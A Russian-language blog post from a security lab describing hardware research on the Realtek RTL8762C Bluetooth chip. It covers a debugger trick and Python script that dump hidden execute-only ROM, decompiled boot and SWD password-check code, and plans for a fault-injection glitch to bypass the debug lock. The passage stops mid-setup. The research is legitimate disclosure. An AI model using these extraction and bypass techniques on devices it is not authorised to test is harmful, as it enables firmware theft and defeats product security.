Привет, Хабр! На связи снова Positive Labs!

Сегодня мы поделимся с вами очередной историей, как сломать чип. Обычно рассказ о найденных уязвимостях выглядит как «вот тут разработчик ошибся, мы пишем такой PoC, отлаживаем - результат». Мы же попробуем максимально подробно описать, каким был весь путь, какие препятствия возникали по ходу расследования и как нам удалось их обойти. Прочитав статью до конца, вы сможете самостоятельно повторить исследование в домашней лаборатории - список оборудования небольшой и доступен большинству.

Если заинтересовались, читайте дальше!

Кого исследуем?

Наш подопытный — Bluetooth LE SoC Realtek RTL8762C. Да-да, Realtek делают не только аудио- и сетевые карты. Заглянем к ним на сайт и изучим характеристики чипа:

  • ARM Cortex-M4, максимальная частота 40 МГц

  • 160 КБ SRAM суммарно

  • Serial Flash Controller (1-bit & 4-bit mode) с 16 КБ 4-way cache

  • Аппаратный движок AES-128/192/256

  • Поддержка Bluetooth 5.0 core specification (RTL8762C Series)

  • LE 2 Mbps, LE Advertising Extensions, LE Long Range

  • High Duty Cycle Non-Connection Advertising

  • Поддержка OTA (Over-The-Air)

Теперь идем в Гугл Яндекс и смотрим, где он применяется, а это: электросамокаты, умные часы, умные защищенные замки для морских контейнеров и, конечно же, пульты для ТВ.

Ну что же, чип выглядит достаточно популярным, а его позиционирование производителем как защищенного, позволяет предположить, что у чипа есть какие-то функции безопасности. Качаем с сайта RealMCU все доки и SDK и смотрим, что же там в Security Mechanism User Guide:

  • Image Encryption - шифрование прошивки

  • Flash Key - механизм сокрытия ключа шифрования

  • SWD Interface Control - блокировка отладки с помощью пароля

  • Password Debug - механизм сокрытия пароля

Если вы подумали, что это вырванный из контекста плохо переведенный отрывок оригинальной документации - к сожалению, нет. На описание каждой из перечисленных фич отдан один абзац, не дающий представления о реальном механизме работы.

Но мы обязательно разберемся!

Спойлер

Интересно, что в прилагаемых к SDK бинарях есть образ под названием Secure Boot, но ни утилита «прошивальщика» MPTool, ни документы, не дают примеров его использования. Есть только отсылка к описанию особой версии MPTool с поддержкой этой функции в онлайн-документации:

Итак, подведём промежуточный итог:

  1. Есть популярный в узких кругах IoT-чип, устанавливаемый в десятки, если не сотни моделей потребительских устройств.

  2. Чип позиционируется как «защищенный», хотя сертификацию не проходил.

  3. Обладает основными современными методами защиты: блокировка отладки, шифрованная загрузка и безопасная загрузка (но это не точно).

Ну что же, налицо все признаки достойного кандидата на исследование.

Определяем поверхность атаки

При исследовании любого устройства полезно составить список векторов атаки, через которые можно с ним взаимодействовать. Так как сегодня мы нацелились не на конкретное устройство на базе чипа, а на сам микроконтроллер, то и векторы атаки строим исходя из его возможностей.

Типовой чек-лист для чипа такого класса выглядит так:

Что смотрим?

Зачем смотрим?

SWD/JTAG

Есть ли отладка? Что позволяет? Как блокируется?

UART / логи

Отпечатки загрузчика, shell

HCI режим (BT-модем)

Что умеет в режиме модема? Есть ли отладочные команды?

BLE

Протокол, OTA

SPI flash

Чтение/извлечение прошивки

ROM (boot ROM)

Содержимое ROM, логика загрузки, точки входа

eFuses

Ключи, конфигурация загрузки. Умеют ли блокировать чтение/запись?

Конечно же, список не исчерпывающий - можно придумать и другие пункты «на посмотреть». С другой стороны, он может быть и избыточным - все зависит от конкретной цели и исследуемого чипа, не стоит принимать таблицу за единый канон.

А пока начнём с самого комфортного сценария: посмотрим, что мы можем сделать с образцом на отладочной плате, когда в руках максимум возможностей для работы с ним.

Знакомство с отладочным интерфейсом

Знакомство лучше всего проводить «при параде» - с отладочной платой. Благо, на чипы этого семейства они есть на AliExpress (не реклама):

Отладочная плата
Отладочная плата

Идем в Quick Start Guide, выставляем все перемычки как указано (не забываем про джампер LOG - подтягиваем его к земле). В соседнем документе (Peripheral Sample Project Guide) нам предлагают использовать для разработки связку IDE KEIL и отладчик Segger Jlink. Мне больше нравится OpenOCD из-за возможности более гибкой настройки, поэтому пишем минимальную конфигурацию (IDCODE получаем при первом подключении или из того же JLink):

transport select swd
adapter speed 1000
source [find target/swj-dp.tcl]
if { [info exists CHIPNAME] } {
    set _CHIPNAME $CHIPNAME
} else {
    set _CHIPNAME rtl8762c
}
if { [info exists CPUTAPID] } {
    set _CPUTAPID $CPUTAPID
} else {
    set _CPUTAPID 0x2ba01477
}
swd newdap $_CHIPNAME cpu -enable -irlen 4 -ircapture 0x1 -irmask 0xf -expected-id $_CPUTAPID
dap create $_CHIPNAME.dap -chain-position $_CHIPNAME.cpu
set _TARGETNAME $_CHIPNAME.cpu
target create $_TARGETNAME.km0 cortex_m -endian little -dap $_CHIPNAME.dap -ap-num 0

Здесь все просто — задаём искомый TAP ID, создаём DAP и target. Если хотите подробнее разобраться в SWD и JTAG и как их применять при исследовании безопасности, рекомендую книгу Алексея Усанова (aka @Benonline) «Реверс-инжиниринг встраиваемых систем».

Подключаем чип с помощью любого совместимого с OpenOCD адаптера и нашей новой конфигурации и получаем следующий вывод:

Info : Listening on port 6666 for tcl connections
Info : Listening on port 4444 for telnet connections
Info : J-Link V9 compiled May  7 2021 16:26:12
Info : Hardware version: 9.60
Info : VTarget = 3.312 V
Info : clock speed 1000 kHz
Info : SWD DPIDR 0x2ba01477
Info : [rtl8762c.cpu.km0] Cortex-M4 r0p1 processor detected
Info : [rtl8762c.cpu.km0] target has 6 breakpoints, 4 watchpoints
Info : [rtl8762c.cpu.km0] Examination succeed
Info : [rtl8762c.cpu.km0] starting gdb server on 3333
Info : Listening on port 3333 for gdb connections
> reset halt
[rtl8762c.cpu.km0] Only resetting the Cortex-M core, use a reset-init event handler to reset any peripherals or configure hardware srst support.
[rtl8762c.cpu.km0] halted due to debug-request, current mode: Thread
xPSR: 0x01000000 pc: 0x0000107c msp: 0x00203800

Отлично, мы подключились, отладка работает :)

Здесь что-то спрятано

Первое сообщение, которое нас встречает, — точка входа в код и начальный адрес стека. Эти адреса хранятся в таблице векторов прерываний. Вот так должна выглядеть таблица векторов прерываний для нашего контроллера (на ядре ARM Cortex-M4F):

Вектор

Смещение

SP Initial Value

0x0000

Reset

0x0004

NMI

0x0008

Hard fault

0x000C

Memory management fault

0x0010

Bus fault

0x0014

Usage fault

0x0018

…

⋮

Таблица векторов прерываний Cortex-M: по смещению 0 — начальное значение стека, по смещению 4 — reset-вектор

Идём в отладчик и пробуем прочитать таблицу с нашего чипа командой MDW (memory Dump Word):

> mdw 0 0x10
0x00000000: 2000b570 2000b570 2000b570 2000b570 2000b570 2000b570 2000b570 2000b570
0x00000020: 2000b570 2000b570 2000b570 2000b570 2000b570 2000b570 2000b570 2000b570

Выглядит довольно странно - вряд ли reset вектор и начальный адрес стека совпадают. Да и значения, прочитанные из памяти контроллера и те, что хранятся в регистрах PC (Program Counter) и SP (Stack Pointer) - не совпадают. Пробуем прочитать побольше:

// Первые 8 КБ - читается как одно и то же значение
> mdw 0x800 0x10
0x00000800: 2000b570 2000b570 2000b570 2000b570 2000b570 2000b570 2000b570 2000b570
0x00000820: 2000b570 2000b570 2000b570 2000b570 2000b570 2000b570 2000b570 2000b570
> mdw 0x1000 0x10
0x00001000: 2000b570 2000b570 2000b570 2000b570 2000b570 2000b570 2000b570 2000b570
0x00001020: 2000b570 2000b570 2000b570 2000b570 2000b570 2000b570 2000b570 2000b570

// Ого, что-то новое
> mdw 0x2000 0x10
0x00002000: f802f000 f892f000 e890a00a 44820c00 f1aa4483 45da0701 f000d101 f2aff887
0x00002020: e8ba0e09 f013000f bf180f01 f0431afb 47180301 0005c854 0005c8b4 bf243a10

// Ровно по границе 8 КБ
> mdw 0x1ff0 0x10
0x00001ff0: 2000b570 2000b570 2000b570 2000b570 f802f000 f892f000 e890a00a 44820c00
0x00002010: f1aa4483 45da0701 f000d101 f2aff887 e8ba0e09 f013000f bf180f01 f0431afb

Уже интереснее... После 8КБ мусора в начале адресного пространства («темной» области) мы получили что-то осознанное. Не станем зацикливаться на странном участке памяти от 0 до 0x2000 (в конце концов, может он и не нужен) и просто сделаем дамп того, что доступно (по такой таблице из документации):

Область

Начальный адрес

Конечный адрес

Размер

ROM

0x00000000

0x00060000

384 КБ

Data RAM

0x00200000

0x0021C000

112 КБ

Cache (shared as data RAM)

0x0021C000

0x00220000

16 КБ

Buffer RAM

0x00280000

0x00288000

32 КБ

SPI Flash (cacheable)

0x00800000

0x01000000

8192 КБ

SPI Flash (non cache)

0x01800000

0x02000000

8192 КБ

Получаем образ ROM-кода и грузим в дизассемблер (за исключением первых 8 КБ). Там находится все то, что и описано в документации - RTOS и Bluetooth стек. А вот чего там нет, так это процедуры начальной инициализации чипа и проверки функций безопасности - не видно, как читаются eFuses, читается и проверяется прошивка пользователя. По горячим следам продолжаем смотреть, что можно сделать через отладчик.

Спойлер

eFuse - однократно программируемая ячейка памяти. Свое название берет от самых настоящих фьюзов - предохранителей. Их можно в буквальном смысле выжигать и тем самым программировать. Обычно они используются для:

  • Хранения калибровочных данных чипа и серийных номеров (UID).

  • Защиты устройства и безопасной загрузки (Secure Boot, ключи шифрования).

  • Запрета на откат (downgrade) прошивки на более старую версию (путем сжигания новых битов при обновлении)

  • И т. д.

Ну, а в нашем чипе они выглядят вот так (снимок на оптический микроскоп после удаления нескольких слоев с миксросхемы):

Снова делаем reset halt и пробуем посмотреть, есть ли пошаговая отладка:

> step
[rtl8762c.cpu.km0] halted due to single-step, current mode: Thread
xPSR: 0x01000000 pc: 0x0000107e msp: 0x002037f0

Step прошел, мы исполнили «какую-то» двухбайтовую ARM Thumb инструкцию. Значит, в первых 8 КБ все-таки лежит код - просто его не видно.

Возможно, вы уже читали статью Юрия (@yura_lvk) про XOM - технологию создания нечитаемого кода, который можно только исполнять. Как раз на этом чипе мы познакомились с ней в первый раз, и инструмента для его извлечения у нас еще не было. Так что поищем обходные пути.

Мы продолжили ходить по коду, и в какой-то момент он вывел нас из скрытого адресного пространства в видимую область - ту, которая нормально читается с помощью отладчика. Тут что-то меня дернуло и я решил снова прочитать «темную» область - а данные там изменились! Более того, они совпали с кодом (± сдвиг адреса), который лежит в видимой области ROM. А давайте попробуем провернуть небольшой трюк - принудительно встанем на адрес в видимой области ROM и попробуем снова походить с помощью step, параллельно читая содержимое «темной» области:

// Начинаем исполнение с адреса 0x2000
> reg pc 0x2000
pc (/32): 0x00002000

// Проверка скрытой области
> mdw 0 0x10
0x00000000: 22004604 22004604 22004604 22004604 22004604 22004604 22004604 22004604
0x00000020: 22004604 22004604 22004604 22004604 22004604 22004604 22004604 22004604
// Шагаем
> step
[rtl8762c.cpu.km0] halted due to single-step, current mode: Thread
xPSR: 0x01000000 pc: 0x00002008 msp: 0x002037f0

// Контроль
> mdw 0 0x10
0x00000000: 44820c00 44820c00 44820c00 44820c00 44820c00 44820c00 44820c00 44820c00
0x00000020: 44820c00 44820c00 44820c00 44820c00 44820c00 44820c00 44820c00 44820c00// Шагаем
> step
[rtl8762c.cpu.km0] halted due to single-step, current mode: Thread
xPSR: 0x01000000 pc: 0x0000200a msp: 0x002037f0// Контроль
> mdw 0 0x10
0x00000000: f1aa4483 f1aa4483 f1aa4483 f1aa4483 f1aa4483 f1aa4483 f1aa4483 f1aa4483
0x00000020: f1aa4483 f1aa4483 f1aa4483 f1aa4483 f1aa4483 f1aa4483 f1aa4483 f1aa4483

После каждых 1-2 step'ов содержимое меняется, и оно соответствует тем инструкциям, которые должны будут исполниться. Вы уже догадались, что происходит? Верно, это очень похоже на то, что при обращении к этой области (первые 8 КБ) мы видим не случайные значения, а регистр-защелку шины данных сразу после того, как процессор сделал prefetch следующей инструкции. 

Спойлер

Cortex®-M4 Revision r0p1 Technical Reference Manual [Cortex-M4 Technical Reference Manual ]  описывает такой механизм, как Prefetch Unit: The PFU fetches instructions from the memory system that can supply one word each cycle. The PFU buffers up to three word fetches in its FIFO, which means that it can buffer up to three 32-bit Thumb instructions or six 16-bit Thumb instructions. 

Если наша догадка верна, то мы можем использовать трюк со step для получения образа скрытой области ROM. Но надо немного улучшить метод.

Шина данных как оракул: читаем скрытый ROM

Проверяем гипотезу. Придумываем простой сниппет:

mov R0, <address>
bx  R0

Выбор инструкции BX обусловлен лишь удобством - можно прыгнуть по любому абсолютному 32-хбитному адресу.

Проверяем догадку о prefetch на предполагаемом адресе хранения SP в таблице прерываний: пишем в SRAM по адресу 0x200000 (сюда положим сниппет) код movs r0, #0; bx r0 — слово 0x47002000 в little-endian — то есть в этом примере <address> = 0, прыгаем на адрес 0 и смотрим, что «засветилось» на шине:

> mww 0x200000 0x47002000
> reg pc 0x200000
pc (/32): 0x00200000
> step
[rtl8762c.cpu.km0] halted due to single-step, current mode: Thread
xPSR: 0x41000000 pc: 0x00200002 msp: 0x002037f0
> step
[rtl8762c.cpu.km0] halted due to single-step, current mode: Thread
xPSR: 0x40000000 pc: 00000000 msp: 0x002037f0
> mdw 0 0x10
0x00000000: 00203800 00203800 00203800 00203800 00203800 00203800 00203800 00203800
0x00000020: 00203800 00203800 00203800 00203800 00203800 00203800 00203800 00203800

Отлично! Адрес SP, прочитанный нашим лайфхаком, совпал с тем, что грузится в регистры при сбросе командой reset halt. Наш примитив чтения ROM заработал, и мы можем получить полный образ.

Осталось автоматизировать процесс с помощью Python и библиотек:

from hexdump import hexdump
from openocd import OpenOcd
import keystone

code_template = "MOV R0, 0x{0:X}; BX R0;"
regset = dict()
regset["pc"] = 0x200000
memdump = bytes()

if __name__ == '__main__':

    oocd = OpenOcd("localhost", 6666, 1.0)
    oocd.connect()
    oocd.execute("reset halt")

    for i in range(0, 0x2000, 4):
        ks = keystone.Ks(keystone.KS_ARCH_ARM, keystone.KS_MODE_THUMB)
        ARM_BYTECODE, _ = ks.asm(code_template.format(i))
        oocd.write_memory(0x200000, ARM_BYTECODE, 8, True)
        oocd.write_registers(regset)
        oocd.execute("step")
        oocd.execute("step")
        hexdump(bytes(oocd.read_memory(0, 4, 8, True)))
        memdump += bytes(oocd.read_memory(0, 4, 8, True))
        oocd.execute("reset halt")

    with open("RTL8762C_rom.bin", 'wb') as f:
        f.write(memdump)

    oocd.close()

Логика такая: на каждой итерации в SRAM пишется трамплин MOV R0, i; BX R0, PC ставится на него, два шага — исполнение mov и bx — заставляют ядро сделать prefetch по адресу i.

Запускаем, et voilà:

00000000: 00 38 20 00                                       .8 .
00000004: 7D 10 00 00                                       }...
00000008: 71 6C 00 00                                       ql..
0000000C: 01 01 00 00                                       ....
00000010: 55 01 00 00                                       U...
00000014: 55 01 00 00                                       U...
00000018: 55 01 00 00                                       U...
0000001C: 00 00 00 00                                       ....
00000020: 00 00 00 00                                       ....
00000024: 00 00 00 00                                       ....
00000028: 00 00 00 00                                       ....
0000002C: B1 21 00 00                                       .!..
00000030: 21 01 00 00                                       !...
00000034: 00 00 00 00                                       ....
00000038: 05 22 00 00                                       ."..
0000003C: A1 F3 00 00                                       ....
00000040: 95 89 05 00                                       ....
00000044: 35 01 00 00                                       5...
00000048: 4F DC 03 00                                       O...
0000004C: 55 01 00 00                                       U...
00000050: 55 01 00 00                                       U...
00000054: 01 01 00 00                                       ....

Мы получили скрытую часть ROM - те самые 8 КБ!

Теперь мы можем ответить на подвешенный ранее вопрос - как чип инициализируется и как работают механизмы безопасности.

Изучаем загрузку

Собираем все кусочки ROM в единый бинарь и грузим в ваш любимый дизассемблер, происходит магия* и мы получаем разобранный и подписанный ROM.

Спойлер

Мы грузили и разбирали этот ROM своими руками - по классике. Однако, вы можете воспользоваться REA: GitHub - morluto/rea: Reverse engineer anything with agents, from app behavior down to native binaries. · GitHub - MCP для большого количества дизассемблеров и не только. В некоторых случаях он упрощает работу реверс-инженера и хорошо автоматизирует рутинные операции.

int (*reset(void))(void)
{
  unsigned int boot_mode;
  unsigned int i;
  unsigned int v4;
  int v6;

  // Чтение режима загрузки
  boot_mode = btaon_fast_read(0);
  btaon_fast_update(0);  // Проверка, что это выход из Deep Sleep aka Warm Boot
  if ( ((boot_mode >> 1) & 7) == 2 )
  {
    Make_EFUSE_unwritable();
    Make_EFUSE_unreadable();
    __disable_irq();
    return sub_87DE();
  }
  // "Холодный" старт
  else
  {    // Чистим стек
    for ( i = 0; i < 0x800; i += 4 )
      *(i + 0x203000) = 0xA5A5A5A5;

    // Тут начинается всякий инит
    write_14_BTAON_cells();
    MEMORY[0xE000E280] = 0xFFFFFFFF;
    load_in_0x200000_vector_table();
    v4 = btaon_fast_read(4);
    if ( !(~v4 << 0x1C) || v4 >> 4 == 0xF )
    {
      mb_reset_status_state[0] &= ~2u;
      WDG_SystemReset_wrapper(3);
    }
    EnableRandomGenerator();
    ClearMemoryForEfuse_and_EnableEfuseClock();
    // Читаем и проверяем "фьюзы"
    read_validate_efuse(3, 1);
    // Выставляем состояние безопасности
    configure_security_register_and_LOCK_it();
    return start_main_chip_initialization(v6);
  }
}

BTAON — это домен энергонезависимой памяти, которая сохраняет свое состояние между перезагрузками (не всеми).

Смотря одним глазом в ROM, вторым в SDK, третьим в OpenOCD, пытаемся сложить в голове процесс загрузки чипа, получая что-то такое:

Блок-схема процесса загрузки RTL8762C
Блок-схема процесса загрузки RTL8762C

Теперь, когда у нас есть не только отладка, но и частично разобранный ROM, посмотрим подробнее, как чип реализует блокировку SWD интерфейса с помощью пароля.

Механизм Debug Lock и пароль

RTL8762C Security Mechanism User Guide (гайд по механизмам безопасности) сообщает, что если вы хотите, чтобы ваше устройство и код в нем не достались недоброжелателю, заблокируйте SWD и eFuses на релизном устройстве. Для этого в программе-прошивальщике MPTool предусмотрено 6 уровней блокировки, от 0 до 5, вот они:

Security Level

SWD Control

eFuse Read

eFuse Write

HCI Download

HCI BT Test

0

Enable

Enable

Enable

Enable

Enable

1

Enable by password

Enable by password

Enable

Enable

Enable

2

Enable by password

Disable

Enable by password

Enable

Enable

3

Enable

Enable

Enable

Enable by password

Enable

4

Enable by password

Enable by password

Enable

Enable by password

Enable

5

Enable by password

Disable

Enable by password

Enable by password

Enable

Посмотрим на последнюю строчку (максимальный режим блокировки) и разберем, что она нам сообщает:

  1. SWD не блокируется навсегда, и, зная пароль (достаточно длинный, 16 байт), вы можете разблокировать отладку.

  2. Зная пароль, вы можете разблокировать и HCI — интерфейс для работы по Bluetooth в режиме BT-модема. 

    Спойлер

    И HCI, и SWD-режимы блокируют загрузку кода с flash, переводя чип в режим ROM.

  3. Чтение eFuses блокируется навсегда — узнать режим работы и ключи устройства нельзя.

  4. Дописать свои fuse (если они не были выставлены) можно, тоже зная пароль.

  5. Функции тестирования Bluetooth через HCI доступны всегда.

Уже в этот момент мы понимаем, что знание уникального пароля чипа (или умение преодолеть его проверку) разблокируют для нас очень широкие возможности по работе с чипом.

Вернёмся к коду и посмотрим, как устроена проверка пароля.

Блокируем чип известным нам паролем и смотрим, как MPTool его разблокирует. В логе HCI-UART (можно снять логическим анализатором или софтверным сниффером) видим команду, которая отправляет пароль в устройство:

b"\x01\x60\xFD\x10\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xAA\xBB\xCC\xDD\xEE\xFF"
#  |   ^^^^^^^  ^^^  ^--------------------------^
#  |   |        |    16 байт пароля
#  |   |        длина параметров (0x10)
#  |   opcode 0xFD60 (vendor-specific HCI-команда)
#  HCI packet indicator: command

Сформированный пакет попадает в обработчик HCI-команд в ROM:

int __fastcall store_password_and_reset(int hci_params)
{
  unsigned int i;

  for ( i = 0; i < 0x10; i = (i + 1) )
    // Кладем полученный пароль в BTAON регистры
    btaon_fast_write_safe(i + 5, *(_BYTE *)(hci_params + i + 3));
  // Ребут всего, кроме AON
  return WDG_SystemReset_wrapper(1);
}
Спойлер

Конечно, чтобы найти этот обработчик неопытному исследователю может потребоваться время, но с целью экономии текста просто примем, что он найден.

Обратим внимание, что после сохранения пароля в BTAON регистры чип перезагружается с помощью контроллера watchdog. Документация описывает возможные режимы перезагрузки так:

/**
   * @brief  Watch Dog System Reset.
   * @param  wdg_mode: 0: interrupt CPU
   *                   1: reset all except aon
   *                   2: reset core domain
   *                   3: reset all
   */
extern void WDG_SystemReset(T_WDG_MODE wdg_mode, T_SW_RESET_REASON reset_reason);

Запомните, что используется режим 1 - сбросить всё, кроме BTAON. Это сыграет с чипом злую шутку :)

Теперь идем от обратного и находим, где эти регистры читаются:

int check_password()
{
  int result;
  unsigned int i;
  unsigned int j;
  unsigned int scrambled_passwd[4];
  _BYTE passwd[32];
  // Проверяем сохраненный в EFUSE шифротекст пароля и его целостность
  result = check_buffer_integrity(&word_202936[0x12], 0x10u,
                                  LOBYTE(word_202936[0x1A]), SHIBYTE(word_202936[0x1A]));
  if ( result )
  {
    // Читаем переданный по HCI-UART raw пароль из BTAON
    for ( i = 0; i < 0x10; i = (i + 1) )
    {
      passwd[i] = btaon_fast_read(i + 5);
      btaon_fast_write(i + 5, 0);
    }
    // Шифруем пароль
    hw_aes_init(0x2029A2, 0, 2, 0);
    MEMORY[0x40014000] |= 0x80u;
    hw_aes_cpu_operate(passwd, scrambed_passwd, 4u, 1);
    // Сравниваем с эталоном в EFUSE
    result = memcmp(&word_202936[0x12], scrambed_passwd, 0x10u) == 0;
    for ( j = 0; j < 0x10; j = (j + 4) )
    {
      *&passwd[j] = 0;
      *(scrambed_passwd + j) = 0;
    }
  }
  return result;
}

Схема проверки такая: пароль из AON-регистров шифруется аппаратным AES-движком (ключ — 16 байт из области фьюзов 0x2029A2) и сравнивается с эталонным значением из фьюзов (0x20295A). То есть во фьюзах лежит не сам пароль, а его шифротекст.

Проверка пароля вызывается тут:


int configure_security_register_and_LOCK_it()
{
    flags = btaon_fast_read(CELL_EFUSE_STATE);  
    reg   = SECURITY_REG;                         // 0x40058F28

    if (reg.is_efuse_invalid) {
        // ---------- фьюзы испорчены -> максимальная блокировка ----------
        reg.is_enable_efuse_read_protect  = 1;
        reg.is_enable_efuse_write_protect = 1;
        reg.is_disable_hci_ram_patch      = 1;
        reg.is_disable_hci_flash_access   = 1;
        reg.is_disable_hci_system_access  = 1;
        reg.is_disable_hci_efuse_access   = 1;
        reg.is_disable_hci_bt_test        = 1;
        reg.reg_pon_clk_flash_dis         = 1;
        reg.is_debug_password_invalid     = 0;    
        flags |= EFUSE_DISABLED;
    }
    else {
        // ---------- конфигурация берётся из фьюзов ----------
        f_efuse_alive = check_dup(fuses_20292E[6:7]);    // 0 => EFUSE считаются нерабочими
        f_rd_off      = check_dup(fuses_20292E[22:23]);  // 1 => защита от чтения ВЫКЛ
        f_wr_off      = check_dup(fuses_20292E[24:25]);  // 1 => защита от записи  ВЫКЛ
        f_clk_keep    = check_dup(fuses_20292E[26:27]);  
        f_rst_flag    = check_dup(fuses_20292E[28:29]);  
        f_clk_setup   = check_dup(fuses_20292E[30:31]); 

        reg.is_enable_efuse_read_protect  = !f_rd_off;
        reg.is_enable_efuse_write_protect = !f_wr_off;
        // Проверка пароля
        reg.is_debug_password_invalid     = !check_password();  
        reg.reg_pon_clk_flash_dis         = !f_clk_keep;
        flags.EFUSE_DISABLED              = !f_efuse_alive;
        reset_status.bit1                 = f_rst_flag;
        if (f_clk_setup) SetupCpuFlashClocksAndFreqs();
        read_validate_efuse(0, 1);

        if (reg.is_debug_password_invalid) {
            // пароль неверный 
            reg.is_disable_hci_ram_patch     = !check_dup(fuses_202932[0:1]);
            reg.is_disable_hci_flash_access  = !check_dup(fuses_202932[2:3]);
            reg.is_disable_hci_system_access = !check_dup(fuses_202932[4:5]);
            reg.is_disable_hci_efuse_access  = !check_dup(fuses_202932[6:7]);
            reg.is_disable_hci_bt_test       = !check_dup(fuses_202932[8:9]);
        }
        else {
            // пароль верный
            reg.is_disable_hci_ram_patch     = !check_dup(fuses_202932[16:17]);
            reg.is_disable_hci_flash_access  = !check_dup(fuses_202932[18:19]);
            reg.is_disable_hci_system_access = !check_dup(fuses_202932[20:21]);
            reg.is_disable_hci_efuse_access  = !check_dup(fuses_202932[22:23]);
            reg.is_disable_hci_bt_test       = !check_dup(fuses_202932[24:25]);
            reg.is_enable_efuse_read_protect = !check_dup(fuses_202932[26:27]);
        }
    }

    SECURITY_REG = reg | GENERAL_CTRL_LOCK;
    btaon_fast_write(CELL_EFUSE_STATE, flags);
}

 То же самое в виде блок-схемы:

Все флаги настроек безопасности и конфигурации чипа, вычисленные из фьюзов, записываются в битовые поля специального регистра, состояние которого сбрасывается только при перезагрузке. Вот так он описывается в SDK:

#define SECURITY_REG_BASE           0x40058f28UL
typedef union  		/*!< Security Structure */
{
    __IO uint32_t d32;
    struct
    {
        __IO uint32_t reg_pon_debug_port_wp: 1;
        __IO uint32_t reg_pon_debug_port: 1;
        __IO uint32_t reg_pon_hwspi_en_wp: 1;
        __IO uint32_t reg_pon_hwspi_en: 1;
        __IO uint32_t is_efuse_invalid: 1;
        __IO uint32_t reg_efuse_system_general_ctrl_lock: 1;
        __IO uint32_t rsvd0: 2;
        __IO uint32_t is_enable_efuse_read_protect: 1;
        __IO uint32_t is_enable_efuse_write_protect: 1;
        __IO uint32_t is_disable_hci_ram_patch: 1;
        __IO uint32_t is_disable_hci_flash_access: 1;
        __IO uint32_t is_disable_hci_system_access: 1;
        __IO uint32_t is_disable_hci_efuse_access: 1;
        __IO uint32_t is_disable_hci_bt_test: 1;
        __IO uint32_t is_debug_password_invalid: 1;
        __IO uint32_t rsvd1: 4;
        __IO uint32_t reg_pon_clk_flash_dis: 1;
        __IO uint32_t rsvd2: 11;
    };
} SECURITY_TypeDef;

Немного позже по процедуре инициализации на основе состояния битовых полей этого регистра принимается решение о включении отладки:

unsigned int ManageDebugAndSpiAccess(int is_spi_write_protect)
{
    reg = SECURITY_REG;

    if (!reg.is_efuse_invalid) {
        f_spi_write_allowed = check_dup(fuses_20292E[0:1]);
        dbg_level           = check_dup(fuses_20292E[2:5]);

        if (is_spi_write_protect && !f_spi_write_allowed) {
            reg = (reg & ~0xF) | HWSPI_EN_WP;
            goto write;
        }

        if (dbg_level == 3) {
            reg |= DEBUG_PORT | HWSPI_EN;
            goto write;
        }
        if (dbg_level == 2 && !reg.is_debug_password_invalid) {
            reg |= DEBUG_PORT | HWSPI_EN;
            goto write;
        }
    }
    reg = (reg & ~0xF) | (DEBUG_PORT_WP | HWSPI_EN_WP;

write:
    SECURITY_REG = reg;
    return reg;
}

Фух, слишком быстро…

Давайте остановимся и посмотрим, что узнали из всех этих кусочков кода:

  1. Разработчик отправляет заблокированному (мы же атакуем) чипу пароль

  2. Пароль кладется в BTAON регистры

  3. WatchDog перезагружает чип, сбрасывая все, кроме BTAON

  4. Пароль шифруется и сравнивается со значением в EFUSE

  5. Если пароль верный, то включается отладка

Остается один вопрос: что с этой информацией делать?

Готовим Glitch

Статья называется «Взлом чипов», а сейчас набирает популярность метод атаки с использованием Fault Injection. Наша лаборатория как раз специализируется на атаках типа Fault Injection и Side-Channel Analysis, так что выбор метода атаки достаточно тривиален - глитч.

Спойлер

Так как цель статьи — общий процесс исследования, а не обсуждение glitch-атак, рекомендуем для знакомства книгу The Hardware Hacking Handbook | No Starch Press .

Давайте посмотрим, что мы можем заглитчить, если конечная цель - получение отладки.

Пристально вглядываемся в регистр Security и понимаем, что флаг в нем называется именно is_debug_password_invalid, то есть 1 выставляется в случае неверного пароля. Это дает нам простор при планировании атаки.

Во-первых, мы можем попробовать пропустить вызов функции configure_security_register_and_LOCK_it. Тогда настоящей проверки пароля вообще не произойдет и чип разблокируется сам (1 никто во флаге не поставит).

Во-вторых, можно пропустить вызов check_password, тогда проверка тоже не произойдет, и сравнение правильности пароля будет производиться по значению регистра R0, который уже будет не нулевым из-за включенной защиты от чтения фьюзов.

На самом деле возможностей для атаки сильно больше, и каждую из них нужно проверять отдельно. Почему остановились на тех, где должен произойти skip инструкции? Наша практика fault-injection показала, что skip — один из самых частых побочных эффектов, который можно получить. Эффекты, связанные с изменением состояния регистров (битфлипы), гораздо сложнее поймать, и они менее контролируемы.

Что и чем мы глитчим

Итак, мы собрали все необходимые данные и готовимся к самой атаке. Для контроля процесса атаки будем использовать платформу Chip'olino — она будет управлять питанием чипа и процессом глитча. Для нее был подготовлен аддон с исследуемым чипом.

Chipolino, код для атаки RTL8762C и аддон выложены в открытом доступе на GitHub
Chipolino, код для атаки RTL8762C и аддон выложены в открытом доступе на GitHub
Спойлер

Пара слов об аддоне и используемых “техниках”. Мы часто применяем Fault Injection в сочетании с Side-Channel Analysis - анализ по побочным каналам. В этом разборе применялся пробник магнитного поля, сделанный в нашей лаборатории. И чтобы получить “чистую” и красивую картинку, на аддоне конденсатор на линии VDIGI имеет другой номинал, нежели рекомендует производитель.

Смотрим на чип «глазами»

Оборудование готово, осталось понять, куда именно бить. Нашими глазами в этом случае будут пробник магнитного поля с усилителем (мы используем свой, но можно использовать и самый дешевый с AliExpress - проверено, работает) и осциллограф. 

Повозив щупом над чипом (постоянно дергая reset), добиваемся следующей картины:

Старт чипа: сброс, запуск генератора, исполнение ROM
Старт чипа: сброс, запуск генератора, исполнение ROM
  1. Первый большой всплеск — снятие сигнала сброса с чипа.

  2. Инициализация железа и старт внутреннего генератора опорного тактового сигнала 16 МГц (да-да, ROM и ядро работают от внутреннего генератора на 16 МГц, а не от внешнего на 40 МГц).

  3. Непосредственно старт ядра и начало исполнения ROM-кода.

Сразу же можно заметить, что от момента снятия сброса до исполнения кода проходит около 32 мс — это достаточно много. Ну и конечно длительность старта немного “плавает”, в пределах десятков-сотен микросекунд.

Если приблизить картинку во время исполнения ROM (сразу же после старта ядра), увидим что-то такое:

Трасса исполнения ROM
Трасса исполнения ROM

От момента начала работы ROM  до включения SWD на разблокированном чипе проходит несколько мс. Перебор места для глитча займет много времени, если пробовать это делать вслепую. Также не забываем про джиттер на старте, который вносит существенную долю неопределенности.

Надо попробовать сузить временное окно, в котором будем проводить атаку.

Ищем опознавательные знаки

Если снова вернуться к предыдущему рисунку, то можно заметить хорошо различимые паттерны - 1, 2 и 3. Так что же это?

Идём в самое начало ROM и смотрим, что происходит.

